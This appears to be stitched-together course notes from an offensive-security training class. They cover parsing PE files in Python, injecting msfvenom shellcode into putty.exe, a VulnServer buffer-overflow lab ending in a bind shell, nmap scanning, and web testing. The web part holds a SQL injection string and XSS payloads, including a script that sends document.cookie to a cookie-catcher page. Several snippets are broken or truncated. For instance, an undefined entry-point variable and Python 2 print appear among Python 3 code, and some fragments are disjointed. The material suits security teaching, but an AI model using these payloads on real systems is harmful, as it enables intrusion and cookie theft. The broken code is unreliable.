After you install Python in Linux the next thing that you will need to do is install idle.

---------------------------Type This-----------------------------------

sudo apt-get install -y idle

-----------------------------------------------------------------------

Open IDLE, and let's just dive right in.


- I prefer to use Putty to SSH into my Linux host.
- You can download Putty from here:

    - python readlines and readline


Here is one student's solution - can you please explain each line of this code to me?


---------------------------Type This-----------------------------------
nano ip_search.py


---------------------------Paste This-----------------------------------

f = open('access_log')

strUsrinput = input("Enter IP Address: ")

---------------------------Type This-----------------------------------
$ python3 ip_search.py
----------------------------------------------------------------------



Working with another student after class we came up with another solution:

---------------------------Type This-----------------------------------
nano ip_search2.py

---------------------------Paste This-----------------------------------
#!/usr/bin/env python3


# This line opens the log file
f=open('access_log',"r")

# This line takes each line in the log file and stores it as an element in the list
lines = f.readlines()


# This lines stores the IP that the user types as a var called userinput
userinput = input("Enter the IP you want to search for: ")



# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
for ip in lines:
   if ip.find(userinput) != -1:
       print (ip)

##################################
# How do we do this with Python3 #
##################################

Reference page:
https://axcheron.github.io/pe-format-manipulation-with-pefile/

---------------------------Type This-----------------------------------
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

python3
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name

try:
    pe = pefile.PE(exe_path)
    # This is also a valid function call
    # pe = pefile.PE(name=exe_path)
except OSError as e:
    print(e)
except pefile.PEFormatError as e:
    print("[-] PEFormatError: %s" % e.value)
-----------------------------------------------------------------------



It’s also possible to parse raw PE data by using data as parameter.
---------------------------Type This-----------------------------------
import pefile
import mmap

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name


fd = open(exe_path, 'rb')               # Map the executable in memory
pe_data = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_READ)


pe = pefile.PE(data=pe_data)            # Parse the data contained in the buffer

-----------------------------------------------------------------------





---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name

pe = pefile.PE(exe_path, fast_load=True)

# Then you can call the following method later in your code
pe.full_load()
-----------------------------------------------------------------------



Reading the Header Members
Once the executable is successfully parsed, the data is readily available as attributes of the PE instance. Let’s read the following attributes:

e_magic or IMAGE_DOS_HEADER. It should be equal to 0x5A4D (MZ)
signature or IMAGE_NT_HEADERS. It should be equal to 0x4550 (PE)
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print("[*] e_magic value: %s" % hex(pe.DOS_HEADER.e_magic))
print("[*] Signature value: %s" % hex(pe.NT_HEADERS.Signature))
-----------------------------------------------------------------------




If you want to enemuerate each members of a specific structure, like DOS_HEADER, it can easily be done by using a for loop.
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print("[*] Listing DOS_HEADER fields...")
for keys in pe.DOS_HEADER.__keys__:
    for field in keys:
        print('\t' + field)
-----------------------------------------------------------------------





You can also diplay the full content of a structure by using the dump() method. It will returns a string representation of the structure.
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

for field in pe.DOS_HEADER.dump():
    print(field)
-----------------------------------------------------------------------



Data Directories
Now, we will list the Data Directories. Those directories contains address/size pairs for special tables that are found in the image file and are used by the operating system (for example, the import table and the export table). We can find the number of Data Directories in NumberOfRvaAndSizes located in the Optional Header struture.
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print("[*] Number of data directories = %d" % pe.OPTIONAL_HEADER.NumberOfRvaAndSizes)
for data_directory in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
    print('\t' + data_directory.name)
-----------------------------------------------------------------------




You can also display the address/size pairs of each of them:
---------------------------Type This-----------------------------------
import pefile
exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

for data_dir in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
    print(data_dir)
-----------------------------------------------------------------------




Listing the Symbols
Imports
To list the imported DLLs by the executable, we can iterate through the data directory DIRECTORY_ENTRY_IMPORT
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print("[*] Listing imported DLLs...")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print('\t' + entry.dll.decode('utf-8'))
-----------------------------------------------------------------------





Then, we can list each imported function in a specific DLL, for example, kernel32.dll.
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

for entry in pe.DIRECTORY_ENTRY_IMPORT:
    dll_name = entry.dll.decode('utf-8')
    if dll_name == "KERNEL32.dll":
        print("[*] Kernel32.dll imports:")
        for func in entry.imports:
            print("\t%s at 0x%08x" % (func.name.decode('utf-8'), func.address))
-----------------------------------------------------------------------



Listing the Sections
Sections are added to a list accesible as the attribute sections in the PE instance. The common structure members of the section header are reachable as attributes.
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

for section in pe.sections:
    print(section.Name.decode('utf-8'))
    print("\tVirtual Address: " + hex(section.VirtualAddress))
    print("\tVirtual Size: " + hex(section.Misc_VirtualSize))
    print("\tRaw Size: " + hex(section.SizeOfRawData))
-----------------------------------------------------------------------



You can also dump the full content of a section by passing its index to sections
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print pe.sections[0]
-----------------------------------------------------------------------





Modifying the Structures
One of the most interesting functionality of pefile is editing executables. All values support assignment, so we can easily alter an executable. Let’s rename the .text section as an example:
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

print("[*] Original Section name = %s" % pe.sections[0].Name.decode('utf-8'))
print("[*] Editing values...\n")

# Edit values
pe.sections[0].Name = ".axc".encode()

# Save the change in another executable
new_exe_path = r"C:\Users\User\Desktop\new_putty.exe"
pe.write(new_exe_path)

# Check the values
new_pe = pefile.PE(new_exe_path)
print("[*] New Section name = %s" % new_pe.sections[0].Name.decode('utf-8'))
-----------------------------------------------------------------------




Code Injection
Now, let’s try to inject code into the executable. Here we will inject a shellcode at the entry point. It will corrupt the executable as we will overwrite the orginal code to execute the shellcode. To do this, we will use the set_bytes_at_offset() method. It overwrite the bytes at the given file offset with the given string, it takes 2 arguments:

Offset, containing the offset where we want to write the data
Data, the data…
---------------------------Type This-----------------------------------
import pefile

exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
pe = pefile.PE(exe_path)

# msfvenom -p windows/messagebox -f py
# Payload size: 272 bytes
# Final size of py file: 1308 bytes
shellcode = bytes(b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9")

pe.set_bytes_at_offset(ep, shellcode)

new_exe_path = r"/home/sempra/j0e/new_putty.exe"
pe.write(new_exe_path)
-----------------------------------------------------------------------
By executing the new executable, you should see a message box indicating that the injection was successful.

Note: To generate the shellcode I used Metasploit.

Conclusion
There are many other features you should try like matching PEiD signatures, but you should play be able to play with it on your own now.












Indicators of Compromise (IoC)
-----------------------------

1. Modify the filesystem
2. Modify the registry          - ADVAPI32.dll (persistance)
3. Modify processes/services
4. Connect to the network       - WS2_32.dll



if you can't detect a registry change across 5% of your network



EDR Solution
------------


1. Static Analysis  <----------------------------------------- Cloud based static analysis
Learn everything I can without actually running the file
    - Modify FS                     - File integrity checker
    - Modify registry
    - Modify processes/services
    - Connect to the network



2. Dynamic Analysis
Runs the file in a VM/Sandbox

################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).


The fastest thing you can do is perform static analysis.

Network Penetration Testing Process (known vulnerabilities)
-----------------------------------------------------------


1. Ping Sweep:
The purpose of this step is to identify live hosts

    nmap -sP <ip-address/ip-range>


2. Port Scan
Identify running services. We use the running services to map the network topology.

    nmap -sS <ip-address/ip-range>


3. Bannergrab
Identify the version of version of software running on each port

    nmap -sV <ip-address/ip-range>



4. Vulnerability Research
Use the software version number to research and determine if it is out of date (vulnerable).

#####################################

- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
http://45.63.104.73/ExploitLab.zip


- Extract the ExploitLab.zip file to your Desktop

- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe

- Open a new command prompt and type:

---------------------------Type This-----------------------------------
nc localhost 9999
--------------------------------------------------------------------------

- In the new command prompt window where you ran nc type:
HELP

- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++

- Now double-click on 1-simplefuzzer.py
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.


- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.

- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe

- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.

- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).

- Now isolate the crash by restarting your debugger and running script 2-3000chars.py

- Calculate the distance to EIP by running script 3-3000chars.py
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338

4-count-chars-to-EIP.py
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it

5-2006char-eip-check.py
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242

6-jmp-esp.py
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll

7-first-exploit
- In this script we actually do the stack overflow and launch a bind shell on port 4444

8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.

    FIle                    logical network port            Browser
    Keyboard
    Mouse



                        ***(9999)***


- Map & Fuzz app entry points:
------------------------------
    - Commands              ***(commands)***
    - Methods
    - Verbs
    - functions
    - subroutines
    - controllers


- Isolate the crash
-------------------
App seems to reliably crash at TRUN 2100


- Calculate the distance to EIP
-------------------------------
Distance to EIP is 2006

We found that EIP was populated with the value: 396F4338
396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern

An online tool that we can use for this is:
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html



- Redirect Program Execution
----------------------------
A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
We learned that we control EAX and ESP in script 2.





- Implement Shellcode
---------------------
There are only 2 things that can go wrong with shellcode:
- Not enough space
- Bad characters

# Basic: Web Application Testing #
##################################

Most people are going to tell you reference the OWASP Testing guide.
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.


The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.

   1. Does the website talk to a DB?
       - Look for parameter passing (ex: site.com/page.php?id=4)
       - If yes - try SQL Injection

   2. Can I or someone else see what I type?
       - If yes - try XSS

   3. Does the page reference a file?
       - If yes - try LFI/RFI

Let's start with some manual testing against 45.63.104.73

Now we negate the parameter value 'acer' by turning into the word 'null':
---------------------------Type This-----------------------------------

https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
-----------------------------------------------------------------------

We see that a 4 and a 5 are on the screen. These are the columns that will echo back data

# Question I get a lot #
########################
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.

Here is a good reference for it:
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments

Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.

Now let's find some text out on the internet somewhere:

  We are using a union select statement because we are joining the developer's query with one of our own.
   Reference:
   http://www.techonthenet.com/sql/union.php
   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
   It removes duplicate rows between the various SELECT statements.

   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.

---------------------------Type This-----------------------------------

OK - what is Cross Site Scripting (XSS)

1. Use Firefox to browse to the following location:
---------------------------Type This-----------------------------------

   https://phpapp.infosecaddicts.com/xss_practice/
-----------------------------------------------------------------------

   A really simple search page that is vulnerable should come up.




2. In the search box type:
---------------------------Type This-----------------------------------

   <script>alert('So this is XSS')</script>
-----------------------------------------------------------------------


   This should pop-up an alert window with your message in it proving XSS is in fact possible.
   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/


3. In the search box type:
---------------------------Type This-----------------------------------

   <script>alert(document.cookie)</script>
-----------------------------------------------------------------------


   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/

4. Now replace that alert script with:
---------------------------Type This-----------------------------------

   <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
-----------------------------------------------------------------------


This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.


5. Now view the stolen cookie at:
---------------------------Type This-----------------------------------

   https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html

The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.

########################################
# Testing availability of HTTP methods #
########################################

A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:

To begin with, we need to import the requests library:

---------------------------
import requests
---------------------------

After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.

----------------------------------------------------------------------------
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
----------------------------------------------------------------------------

The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.

------------------------------------------------------
for method in method_list:
   req = requests.request(method, 'https://www.google.com')
   print (method, req.status_code, req.reason)
------------------------------------------------------


------------------------------------------------------
for method in method_list:
   req = requests.request(method, 'https://www.darkoperator.com')
   print (method, req.status_code, req.reason)
------------------------------------------------------


------------------------------------------------------
for method in method_list:
   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
   print (method, req.status_code, req.reason)
------------------------------------------------------


------------------------------------------------------
for method in method_list:
   req = requests.request(method, 'http://www.dybedu.com')
   print (method, req.status_code, req.reason)
------------------------------------------------------


The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.

-------------------------------------------------------------
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')
-------------------------------------------------------------


*** Full code with example url: ***

---------------------------Type This-----------------------------------
nano xst.py


---------------------------Paste This----------------------------------
#!/usr/bin/env python3
import requests
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
for method in method_list:
   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
   print (method, req.status_code, req.reason)
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

-------------------------------------------------------------------------


After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.


---------------------------Type This-----------------------------------
python3 xst.py
-----------------------------------------------------------------------



##########################################
# Foot printing by checking HTTP headers #
##########################################


HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:

To begin with, let us import the requests library:

------------------------
import requests
------------------------

We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.

---------------------------------------------
request = requests.get('enter the URL')
---------------------------------------------

Next, we will generate a list of headers about which you need the information.

---------------------------------------------------------------------------------------------------------------
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
---------------------------------------------------------------------------------------------------------------

Next is a try and except block.

---------------------------------------------------
for header in header_list:

   try:
      result = request.headers[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
         print ('%s: No Details Found' % header)

---------------------------------------------------




*** Example Full Code: ***

---------------------------Type This-----------------------------------
nano headercheck.py


---------------------------Paste This----------------------------------
#!/usr/bin/env python3
import requests
request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
for header in header_list:
      try:
         result = request.headers[header]
         print ('%s: %s' % (header, result))
      except Exception as err:
               print ('%s: No Details Found' % header)
----------------------------------------------------------------------------------------------------------------


After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.


---------------------------Type This-----------------------------------
python3 headercheck.py
-----------------------------------------------------------------------
